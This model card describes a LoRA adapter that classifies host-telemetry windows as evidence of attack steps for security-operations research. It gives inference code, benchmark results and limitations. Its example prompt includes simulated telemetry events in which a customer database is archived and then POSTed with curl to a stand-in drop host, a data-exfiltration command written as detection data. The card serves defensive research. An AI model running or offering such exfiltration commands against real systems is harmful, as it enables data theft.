What it is for โ and what it is not
- For: research on evidence-grounded SOC reasoning; assisting an analyst by proposing which events in a window support an attack hypothesis; shadow evaluation next to an existing detection pipeline.
- Not for: automated blocking, isolation or any response action taken on the model's output alone. The model never predicts
UNKNOWN correctly (F1 0 on that class) and still labels 6.4% of benign windows as SUPPORTED. Its behaviour on production telemetry has not been validated.
How to use
The model was trained and evaluated with the system prompt below, verbatim. The user turn is a header line, one [id] key=value โฆ line per event, the candidate id list, and the closing sentence. Use the same rendering; the output contract (enum values, id discipline) depends on it.
You are a SOC analyst. You receive an incident context, a short window of host telemetry events, and the list of candidate evidence ids. Decide whether the window contains observed evidence of an attack step.Rules: cite only ids from the candidate list; never cite an id that is not listed. Output SUPPORTED only when the cited events themselves show the attack behaviour; output INSUFFICIENT when the events are ordinary activity without such evidence; output UNKNOWN when the events cannot be attributed either way. Do not infer a whole attack chain from a single ordinary event.Answer with one JSON object only: {"incident_category": one of ["credential_compromise", "data_exfiltration", "container_compromise", "service_account_abuse", "supply_chain_loader", "discovery_sweep", "network_block_correlation", "none"], "supporting_evidence_ids": [ids], "decision": one of ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"], "rationale": "<= 60 words"}.
Incident context: host=app-web-02; window 2026-03-14T09:12:01.000Z .. 2026-03-14T09:13:40.000Z; 8 events; source=range telemetry (eBPF/proxy).ย Events:[ev_a1f3c9d2] ts=2026-03-14T09:12:01.120Z type=proc.exec host=app-web-02 user=uid:1000 proc=python3 cmd="python3 app.py"[ev_7b20e4aa] ts=2026-03-14T09:12:33.004Z type=proc.exec host=app-web-02 user=uid:1000 proc=tar cmd="tar czf /tmp/bundle.tgz /srv/app/customers.db"[ev_0c9d11e7] ts=2026-03-14T09:12:34.410Z type=net.dns host=app-web-02 qname=files.example-drop.net[ev_5e88f0b1] ts=2026-03-14T09:12:34.602Z type=proc.exec host=app-web-02 user=uid:1000 proc=curl cmd="curl -s -X POST --data-binary @/tmp/bundle.tgz https://files.example-drop.net/upload"[ev_d44a72c3] ts=2026-03-14T09:12:34.611Z type=net.flow host=app-web-02 proc=curl dst_ip=203.0.113.25 dst_port=443 proto=tcp[ev_9f1b6a05] ts=2026-03-14T09:13:02.900Z type=proc.exec host=app-web-02 user=uid:1000 proc=ls cmd="ls -la /srv/app"[ev_3a7e9c44] ts=2026-03-14T09:13:20.311Z type=net.flow host=app-web-02 proc=python3 dst_ip=10.0.12.5 dst_port=5432 proto=tcp[ev_b8c2d6f0] ts=2026-03-14T09:13:40.000Z type=proc.exec host=app-web-02 user=uid:1000 proc=sleep cmd="sleep 30"ย Candidate evidence ids: ev_a1f3c9d2, ev_7b20e4aa, ev_0c9d11e7, ev_5e88f0b1, ev_d44a72c3, ev_9f1b6a05, ev_3a7e9c44, ev_b8c2d6f0ย Respond with the JSON object only.
import torchfrom peft import PeftModelfrom transformers import AutoModelForCausalLM, AutoTokenizerย base, rev = "Qwen/Qwen3-4B-Instruct-2507", "cdbee75f17c01a7cc42f958dc650907174af0554"tok = AutoTokenizer.from_pretrained(base, revision=rev)model = AutoModelForCausalLM.from_pretrained(base, revision=rev, dtype=torch.bfloat16, device_map="auto")model = PeftModel.from_pretrained(model, "ThakiCloud/SOC-IER-4B-v0.1-LoRA")ย messages = [{"role": "system", "content": SYSTEM_PROMPT}, {"role": "user", "content": USER_PROMPT}]enc = tok.apply_chat_template(messages, add_generation_prompt=True, return_tensors="pt", return_dict=True).to(model.device)out = model.generate(**enc, max_new_tokens=320, do_sample=True, temperature=0.3, top_p=0.95)print(tok.decode(out[0][enc["input_ids"].shape[1]:], skip_special_tokens=True))
inference_example.py --lora in this repository is the complete runnable version, including a check that the answer respects the schema and cites only candidate ids.
vLLM (structured output, as in the evaluation)
from vllm import LLM, SamplingParamsfrom vllm.lora.request import LoRARequestfrom vllm.sampling_params import StructuredOutputsParamsfrom huggingface_hub import snapshot_downloadย SCHEMA = {"type": "object", "additionalProperties": False, "required": ["incident_category", "supporting_evidence_ids", "decision", "rationale"], "properties": {"incident_category": {"type": "string", "enum": ["credential_compromise", "data_exfiltration", "container_compromise", "service_account_abuse", "supply_chain_loader", "discovery_sweep", "network_block_correlation", "none"]}, "supporting_evidence_ids": {"type": "array", "items": {"type": "string", "maxLength": 24}, "maxItems": 16}, "decision": {"type": "string", "enum": ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"]}, "rationale": {"type": "string", "maxLength": 480}}}ย adapter = snapshot_download("ThakiCloud/SOC-IER-4B-v0.1-LoRA")llm = LLM(model="Qwen/Qwen3-4B-Instruct-2507", revision="cdbee75f17c01a7cc42f958dc650907174af0554", dtype="bfloat16", max_model_len=8192, enable_lora=True, max_lora_rank=64)sp = SamplingParams(temperature=0.3, top_p=0.95, max_tokens=320, structured_outputs=StructuredOutputsParams(json=SCHEMA))print(llm.chat([messages], sp, lora_request=LoRARequest("soc-ier", 1, adapter))[0].outputs[0].text)
Decoding used for every number on this card: temperature 0.3, top_p 0.95, max 320 new tokens, three sampled runs with a majority vote on the decision. Greedy decoding gives the same sealed-set majority result. The schema constrains the enums but deliberately leaves evidence ids free, so citing an id outside the candidate list (a "phantom") remains measurable.
Results
All numbers below were measured by us with vLLM 0.28.0, bf16, the same prompts, the same parser and the same decoding, on one NVIDIA H100 NVL (CyberPal2.0-20B on one H200 NVL โ same software, same inputs). Confidence intervals are 95% bootstrap intervals resampling incident chains (2,000 draws), because chains โ not windows โ are the independent unit.
Sealed benchmark (v6 capture, 48 independent chains, 239 windows, attack family not present in training; evaluated once, after model selection):
Table with columns: Model, Setting, Decision macro-F1 [CI95], Decision acc, Evidence recall, Evidence precision, False-SUPPORTED, Incident miss, Phantom ids| Model | Setting | Decision macro-F1 [CI95] | Decision acc | Evidence recall | Evidence precision | False-SUPPORTED | Incident miss | Phantom ids |
|---|
| SOC-IER-4B-v0.1-LoRA (base + this adapter) | LoRA SFT | 0.625 [0.604, 0.643] | 0.916 | 0.895 | 0.929 | 0.064 | 0.061 | 0 |
| Qwen3-4B-Instruct-2507 | base, zero-shot | 0.388 [0.345, 0.430] | 0.603 | 0.532 | 0.615 | 0.688 | 0.070 | 0 |
| Qwen3-8B + LoRA (internal, not released) | LoRA SFT, same recipe | 0.554 [0.524, 0.580] | 0.812 | 0.706 | 0.743 | 0.088 | 0.219 | 0 |
| Qwen3-8B | base, zero-shot | 0.391 [0.355, 0.428] | 0.573 | 0.263 | 0.347 | 0.352 | 0.447 | 0 |
| CyberPal2.0-20B | base, zero-shot | 0.385 [0.341, 0.432] | 0.565 | 0.565 | 0.641 | 0.336 | 0.465 | 0 |
Development set (v2 capture, 12 chains, 70 windows; same capture generation as training, chains disjoint):
Table with columns: Model, Decision macro-F1 [CI95], Decision acc, Evidence recall, False-SUPPORTED, Incident miss| Model | Decision macro-F1 [CI95] | Decision acc | Evidence recall | False-SUPPORTED | Incident miss |
|---|
| SOC-IER-4B-v0.1-LoRA | 0.618 [0.590, 0.648] | 0.900 | 0.889 | 0.027 | 0.091 |
| Qwen3-4B-Instruct-2507 (base) | 0.387 [0.308, 0.455] | 0.600 | 0.560 | 0.622 | 0.061 |
| CyberPal2.0-20B (base) | 0.422 [0.332, 0.522] | 0.614 | 0.605 | 0.324 | 0.364 |
Metric definitions: decision macro-F1 averages F1 over the three decision classes, so the unreachable UNKNOWN class caps it near 2/3 for every model; evidence recall/precision are computed on windows whose gold decision is SUPPORTED; false-SUPPORTED is the share of non-attack windows labelled SUPPORTED; incident miss is the share of attack windows not labelled SUPPORTED; phantom ids counts windows citing an id outside the candidate list.
What the table does and does not say: fine-tuning on 603 task examples moved a 4B model from the zero-shot band (0.385โ0.391, shared by the 4B base, the 8B base and the 20B security model) to 0.625 with non-overlapping intervals, and the 4B fine-tune also beat the 8B fine-tune trained with the same recipe. It does not say that CyberPal2.0-20B is a weaker security model in general โ it was evaluated zero-shot, on our output contract, on telemetry windows it was never trained for. Its false-SUPPORTED rate (0.336) is already half that of the Qwen bases.
Files
Table with columns: File, Purpose| File | Purpose |
|---|
adapter_model.safetensors | LoRA weights, fp32, 528.6 MB โ sha256 adac105750404511bddf938c435a9f819af8e50c2e617eb4197a2ddca4e742eb |
adapter_config.json | PEFT config: r=64, lora_alpha=64, lora_dropout=0.05, targets q_proj k_proj v_proj o_proj gate_proj up_proj down_proj, task_type=CAUSAL_LM, peft_version=0.21.2 |
tokenizer.json, tokenizer_config.json, chat_template.jinja | Tokenizer as saved by the training run (transformers 5.15.1). Functionally the base tokenizer; the chat template renders the training prompts identically to the base revision's template (checked) |
train_report.json | Recipe, data statistics, loss curve (114 steps), timing, library versions and checksums written at the end of training |
inference_example.py | Runnable example (--lora) with the exact system prompt and a contract check |
Training
Table | |
|---|
| Base | Qwen/Qwen3-4B-Instruct-2507, revision cdbee75f17c01a7cc42f958dc650907174af0554 (Apache-2.0) |
| Method | LoRA SFT (PEFT 0.21.2), r=64, ฮฑ=64, dropout 0.05, targets q/k/v/o/gate/up/down projections; 132.1M trainable parameters |
| Objective | cross-entropy on assistant tokens only; thinking disabled |
| Schedule | lr 5e-5, cosine, 5% warmup, weight decay 0.01, grad clip 1.0, 3 epochs = 114 optimizer steps, effective batch 16 (micro 2 ร accumulation 8), max length 4,096, bf16, seed 20261021 |
| Data | 603 examples: 483 from an in-house cyber range (eBPF/proxy telemetry, "in-situ v2" capture, 24 independent chains, 3 attack families) + 120 auxiliary windows derived from witfoo/precinct6-cybersecurity (60 incidents, network-block correlation; 19.9% of training, capped at 20%). 959,657 prompt tokens, 63,976 supervised tokens |
| Labels | decision and evidence ids come from the range's ground-truth attack script and structural pairing (each attack window has a matched benign counterfactual window on the same host); there is no human annotation. UNKNOWN has only 9 training examples |
| Splits | train 24 chains / dev 12 chains (same capture, chains disjoint) / sealed 48 chains (later capture, new attack family). No chain, pair or prompt overlaps across splits |
| Compute | one H100 NVL, 824 s of training (14 minutes), 22.3 GB peak memory; torch 2.13, transformers 5.15.1 |
The recipe follows the public LoRA recipe on the CyberSecQwen-4B model card, with epochs reduced from 10 to 3 for the small set. No hyperparameter was changed after seeing evaluation results; the sealed set was evaluated once.
The training and evaluation data are not distributed: the cyber-range telemetry is internal (hostnames, addresses and scenario scripts of our own test environment โ no customer or production data), and the WitFoo-derived windows are a re-rendering of a public dataset you can rebuild from the source. A memorisation probe on the fine-tuned model (16 context-free prompts asking for hostnames, addresses and telemetry lines, greedy decoding) produced no range-specific hostname or address; the only tokens shared with the training identifiers were the generic words "server", "monitoring" and the year "2024".
Limitations
UNKNOWN is never predicted correctly (F1 0 on dev and sealed, for this model and every baseline). Windows where the evidence genuinely cannot be attributed are answered as SUPPORTED or INSUFFICIENT. Treat UNKNOWN as unsupported in v0.1.
- False-SUPPORTED 6.4% on the sealed set: about one benign window in sixteen is labelled as attack evidence. In a SOC that is a real cost; it is one of the two targets for the next version.
- In-domain benchmark. Train, dev and sealed data come from the same cyber range and the same event rendering. Attack families differ between train and sealed, but sensors, hosts and benign background do not. Generalisation to other telemetry formats, other EDR/eBPF schemas or real production traffic is unverified.
- Small evaluation. 239 sealed windows over 48 chains: one window is 0.4% of the set, and the confidence intervals above are the honest resolution. Differences smaller than a few points are not interpretable.
- Labels are structural, not expert. Gold decisions follow the attack script; an analyst might reasonably disagree on individual windows.
- Context. Evaluated with windows of โค 16 candidate events (~2โ3k tokens) and
max_model_len 8,192. Longer windows were not tested.
- English prompts only. The task rendering is English; other languages were not evaluated.
- Merging can change the model slightly. A merge of this adapter computed and saved in bf16 agreed with the adapter on 99.0% of decisions but only 94.8% of incident categories (greedy, 309 windows) and lost 0.006 sealed macro-F1 โ below our pre-registered bar, so it was not published. The published merge (computed in fp32, saved in fp16) agreed on 100% of decisions and 98.1% of categories and reproduced the sealed result exactly. If you merge or re-cast the weights yourself, re-measure instead of assuming these numbers.
License and attribution
The adapter is released under Apache-2.0. It is a derivative of Qwen3-4B-Instruct-2507 (Apache-2.0, ยฉ Alibaba Cloud). The auxiliary training data derives from witfoo/precinct6-cybersecurity (Apache-2.0). No AI Hub or other restricted-redistribution corpus was used.
Citation
@misc{thakicloud2026socier, title = {SOC-IER-4B-v0.1: SOC Incident Evidence Reasoning}, author = {ThakiCloud}, year = {2026}, url = {https://huggingface.co/ThakiCloud/SOC-IER-4B-v0.1-LoRA}}